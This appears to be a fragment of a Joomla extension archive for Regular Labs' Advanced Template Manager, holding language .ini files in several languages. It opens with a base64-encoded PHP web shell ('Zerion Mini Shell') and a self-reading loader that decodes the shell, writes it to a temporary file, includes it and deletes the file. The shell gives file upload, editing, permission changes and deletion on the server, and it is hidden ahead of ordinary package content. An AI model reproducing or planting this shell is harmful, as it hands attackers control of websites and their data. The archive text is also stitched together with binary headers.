YT4vJzsgfSBlY2hvICc8L3RkPjwvdHI+PHRyPjx0ZD4nO2lmKGlzc2V0KCRfUE9TVFsncGF0aF9jcmVhdGUnXSkpIHtpZihAbWtkaXIoJHBhdGguJy8nIC4gJF9QT1NUWydwYXRoX2NyZWF0ZSddKSl7ZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5jcmVhdGUgc3VjY2VzcyA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFsncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fWVsc2V7ZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Y3JlYXRlIGZhaWxlZCA6KiAnLiRwYXRoLicvJyAuICRfUE9TVFsncGF0aF9jcmVhdGUnXS4nPC9mb250PjxiciAvPic7fX1pZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsgaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RmlsZSBUZXItVXBsb2FkIDoqIDwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+VXBsb2FkIGdhZ2FsLCBTZXJ2ZXJueWEga2VrIDxpbWcgc3JjPSJodHRwOi8vYy5mYXN0Y29tcGFueS5uZXQvYXNzZXRfZmlsZXMvLS8yMDE0LzExLzExLzRGNC5naWYiLz4NCiA8L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InVwbG9hZCIgLz4NCjwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NCkNyZWF0ZSBQYXRoIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGhfY3JlYXRlIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImNyZWF0ZSIgLz4NCjwvZm9ybT48L3RkPjwvdGQ+JzsgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpeyBlY2hvICI8dHI+PHRkPkN1cnJlbnQgRmlsZSA6ICI7IGVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsgZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsgZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsgfWVsc2VpZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gIT0gJ2RlbGV0ZScpeyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsgaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sb2N0ZGVjKCRfUE9TVFsncGVybSddKSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkNoYW5nZSBQZXJtaXNzaW9uIERvbmUuPC9mb250PjxiciAvPic7IH1lbHNleyBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5DaGFuZ2UgUGVybWlzc2lvbiBFcnJvci48L2ZvbnQ+PGJyIC8+JzsgfSB9IGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPg0KPC9mb3JtPic7IH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAncmVuYW1lJyl7IGlmKGlzc2V0KCRfUE9TVFsnbmV3bmFtZSddKSl7IGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgTmFtZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQo8L2Zvcm0+JzsgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7IGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7IGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RWRpdCBGaWxlIERvbmUgfl9eLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yIH5ffi48L2ZvbnQ+PGJyIC8+JzsgfSBmY2xvc2UoJGZwKTsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3BhdGgnXSkpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4nOyB9IGVjaG8gJzwvY2VudGVyPic7IH1lbHNleyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2RpcicpeyBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpeyBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsgfWVsc2V7IGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkRlbGV0ZSBEaXIgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpeyBpZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4nOyB9ZWxzZXsgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPic7IH0gfSB9IGVjaG8gJzwvY2VudGVyPic7ICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7IGVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQo8dHIgY2xhc3M9ImZpcnN0Ij4NCjx0ZD48Y2VudGVyPk5hbWU8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+U2l6ZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uczwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5PcHRpb25zPC9jZW50ZXI+PC90ZD4NCjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7IGVjaG8gIjx0cj4NCjx0ZD48YSBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4NCjx0ZD48Y2VudGVyPi0tPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+JzsgZWxzZWlmKCFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOyBlY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikgfHwgIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzwvZm9udD4nOyBlY2hvICI8L2NlbnRlcj48L3RkPg0KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiIGFjdGlvbj1cIj9vcHRpb24mcGF0aD0kcGF0aFwiPg0KPHNlbGVjdCBuYW1lPVwib3B0XCI+DQo8b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZGVsZXRlXCI+RGVsZXRlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm5hbWVcIiB2YWx1ZT1cIiRkaXJcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7IGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OyAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOyBpZigkc2l6ZSA+PSAxMDI0KXsgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOyB9ZWxzZXsgJHNpemUgPSAkc2l6ZS4nIEtCJzsgfSBlY2hvICI8dHI+DQo8dGQ+PGEgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPg0KPHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPiI7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7IGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7IGVjaG8gcGVybXMoIiRwYXRoLyRmaWxlIik7IGlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZmlsZSIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPC9mb250Pic7IGVjaG8gIjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+DQo8c2VsZWN0IG5hbWU9XCJvcHRcIj4NCjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJjaG1vZFwiPkNobW9kPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4NCjwvc2VsZWN0Pg0KDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJmaWxlXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4NCjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4NCjwvZm9ybT48L2NlbnRlcj48L3RkPg0KPC90cj4iOyB9IGVjaG8gJzwvdGFibGU+DQo8L2Rpdj4nOyB9IGVjaG8gJzxjZW50ZXI+PGJyIC8+WmVyaW9uIE1pbmkgU2hlbGwgPGZvbnQgY29sb3I9ImdyZWVuIj4xLjA8L2ZvbnQ+PC9jZW50ZXI+DQo8L0JPRFk+DQo8L0hUTUw+JzsgZnVuY3Rpb24gcGVybXMoJGZpbGUpeyAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOyBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7ICRpbmZvID0gJ3MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7ICRpbmZvID0gJ2wnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7ICRpbmZvID0gJy0nOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7ICRpbmZvID0gJ2InOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7ICRpbmZvID0gJ2QnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7ICRpbmZvID0gJ2MnOyB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7ICRpbmZvID0gJ3AnOyB9IGVsc2UgeyAkaW5mbyA9ICd1JzsgfSAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPyAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOyAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPyAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOyByZXR1cm4gJGluZm87IH0=diekssekusi
===================================================================================================**/
preg_match('/'.base64_decode('ZGl1bmRkdWgoLis/KWRpZWtzc2VrdXNp').'/si',file_get_contents/*******/(__FILE__),$o0);
$o = tempnam(sys_get_temp_dir(), '____');
file_put_contents($o, base64_decode($o0[1]));
// Include file yang telah diunduh dari URL
include $o;
// Hapus file sementara setelah dieksekusi
unlink($o);PK	�[�4�Tactionlog/advancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for
Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="With Advanced Template Manager you have
extra options and functionality to control your templates."

ATP_SETTINGS="Please see the [[%1:start link%]]Template
Manager[[%2:end link%]] for settings."
ATP_THE_COMPONENT="the Advanced Template Manager component"
ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
ATP_ACTION_TEMPLATE_COPY="Copy Template"
ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
ATP_TEMPLATE_FILE="template file"
PK	�[ܡ�f��Xactionlog/advancedtemplates/language/en-GB/en-GB.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for
Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[RR�ܣ�Tactionlog/advancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Toimingute logi - Regular Labs -
Lisavõimalustega kujunduste haldamine"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Salvesta kasutajate toimingud
lisavõimalustega kujunduste halduris"
ADVANCEDTEMPLATEMANAGER="Lisavõimalustega kujunduste haldur"

ADVANCEDTEMPLATEMANAGER_DESC="Lisavõimalustega kujunduste haldur
annab juurde mõned lisavõimalused ja -funktsioonid, et võtta oma
kujundustest ja nende stiilidest viimast."

ATP_SETTINGS="Palun vaata [[%1:start link%]]Kujunduste halduri[[%2:end
link%]] seadeid."
ATP_THE_COMPONENT="Lisavõimalustega kujunduste haldur"
ATP_THE_SYSTEM_PLUGIN="lisavõimalustega kujundustehalduri
süsteemiplugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Kausta/faili toimingud"
ATP_ACTION_TEMPLATE_COPY="Kopeeri kujundus"
ATP_ACTIONLOGS_FILE_ADDED="Kasutaja <a
href='{accountlink}'>{username}</a> lisas kujundusele
{template} faili <a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_FILE_DELETED="Kasutaja <a
href='{accountlink}'>{username}</a> kustutas kujundusest
{template} faili {file}"
ATP_ACTIONLOGS_FILE_UPDATED="Kasutaja <a
href='{accountlink}'>{username}</a> uuendas kujunduse
{template} faili <a
href='{filelink}'>{file}</a>"
ATP_ACTIONLOGS_STYLE_SET_HOME="Kasutaja <a
href='{accountlink}'>{username}</a> määras kujunduse
vaikimisi stiiliks <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Kasutaja <a
href='{accountlink}'>{username}</a> lõi uue kujunduse
nimega '{to_name}' (koopia kujundusest
'{from_name}')"
ATP_TEMPLATE_FILE="kujunduse fail"
PK	�[ɺ�Xactionlog/advancedtemplates/language/et-EE/et-EE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Toimingute logi - Regular Labs -
Lisavõimalustega kujunduste haldamine"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Salvesta kasutajate toimingud
lisavõimalustega kujunduste halduris"
ADVANCEDTEMPLATEMANAGER="Lisavõimalustega kujunduste haldur"
PK	�[*0���Tactionlog/advancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Journal des actions - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Enregistrer les actions des
utilisateurs pour Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gestionnaire avancé de Template"

ADVANCEDTEMPLATEMANAGER_DESC="Avec Advanced Template Manager vous
disposez d'options et de fonctionnalités supplémentaires afin de
mieux contrôler vos templates."

ATP_SETTINGS="Merci de vous rendre dans la [[%1:start link%]]Gestion
des templates[[%2:end link%]] pour les paramètrages."
ATP_THE_COMPONENT="Le composant Advanced Template Manager"
ATP_THE_SYSTEM_PLUGIN="Plugin système Advanced Template Manager"

ATP_ACTION_FOLDER_FILE_ACTIONS="Actions Dossier/Fichier"
ATP_ACTION_TEMPLATE_COPY="Copier le template"
ATP_ACTIONLOGS_FILE_ADDED="L'utilisateur <a
href='{accountlink}'>{username}</a> a ajouté <a
href='{filelink}'>{file}</a> au template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="L'utilisateur <a
href='{accountlink}'>{username}</a> a supprimé {file}
du template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="L'utilisateur <a
href='{accountlink}'>{username}</a> a mis à jour <a
href='{filelink}'>{file}</a> dans le template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="L'utilisateur <a
href='{accountlink}'>{username}</a> a changé le style
par défaut du template en <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="L'utilisateur <a
href='{accountlink}'>{username}</a> a créé un nouveau
template basé sur '{to_name}' (copie de
'{from_name}')"
ATP_TEMPLATE_FILE="fichier de template"
PK	�[0(s{��Xactionlog/advancedtemplates/language/fr-FR/fr-FR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Journal des actions - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Enregistrer les actions des
utilisateurs pour Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gestionnaire avancé de Template"
PK	�[%(+�BBTactionlog/advancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Dengan Advanced Template Manager anda
memiliki opsi dan fungsi tambahan guna mengendalikan templat-templat."

ATP_SETTINGS="Silakan lihat [[%1:start link%]]Pengelolaan
Templat[[%2:end link%]] untuk pengaturannya."
ATP_THE_COMPONENT="komponen Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/id-ID/id-ID.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
